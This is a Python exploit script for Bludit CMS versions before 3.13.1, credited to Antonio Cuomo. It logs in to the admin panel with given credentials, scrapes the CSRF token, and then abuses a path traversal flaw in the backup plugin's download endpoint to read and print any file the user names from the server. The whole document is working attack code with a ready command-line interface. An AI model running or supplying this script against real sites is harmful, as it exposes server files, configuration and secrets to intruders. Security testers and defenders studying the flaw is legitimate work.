# -*- coding: utf-8 -*-
#/usr/bin/env python

# Exploit Title: Bludit < 3.13.1 Backup Plugin - Arbitrary File Download (Authenticated)
# Date: 2022-07-21
# Exploit Author: Antonio Cuomo (arkantolo)
# Vendor Homepage: https://www.bludit.com
# Software Link: https://github.com/bludit/bludit
# Version: < 3.13.1
# Tested on: Debian 10 - PHP Version: 7.3.14

import requests
import argparse
from bs4 import BeautifulSoup #pip3 install beautifulsoup4

def main():
        parser = argparse.ArgumentParser(description='Bludit < 3.13.1 - Backup Plugin - Arbitrary File Download (Authenticated)')
        parser.add_argument('-x', '--url', type=str, required=True)
        parser.add_argument('-u', '--user', type=str, required=True)
        parser.add_argument('-p', '--password', type=str, required=True)
        parser.add_argument('-f', '--file', type=str, required=True)
        args = parser.parse_args()
        print("\nBludit < 3.13.1 - Backup Plugin - Arbitrary File Download (Authenticated)","\nExploit Author: Antonio Cuomo (Arkantolo)\n")
        exploit(args)

def exploit(args):
    s2 = requests.Session()

    url = args.url.rstrip("/")

    #get csrf token
    r = s2.get(url+'/admin/')
    soup = BeautifulSoup(r.text, 'html.parser')
    formtoken = soup.find('input', {'name':'tokenCSRF'})['value']

    #login
    body= {'tokenCSRF':formtoken,'username':args.user,'password':args.password}
    r = s2.post(url+'/admin/', data=body, allow_redirects=False)
    if(r.status_code==301 and r.headers['location'].find('/admin/dashboard') != -1):
        print("[*] Login OK")
    else:
        print("[*] Login Failed")
        exit(1)

    #arbitrary download
    r = s2.get(url+'/plugin-backup-download?file=../../../../../../../../'+args.file)
    if(r.status_code==200 and len(r.content)>0):
        print("[*] File:")
        print(r.text)
    else:
        print("[*] Exploit Failed")
        exit(1)

if __name__ == '__main__':
	main()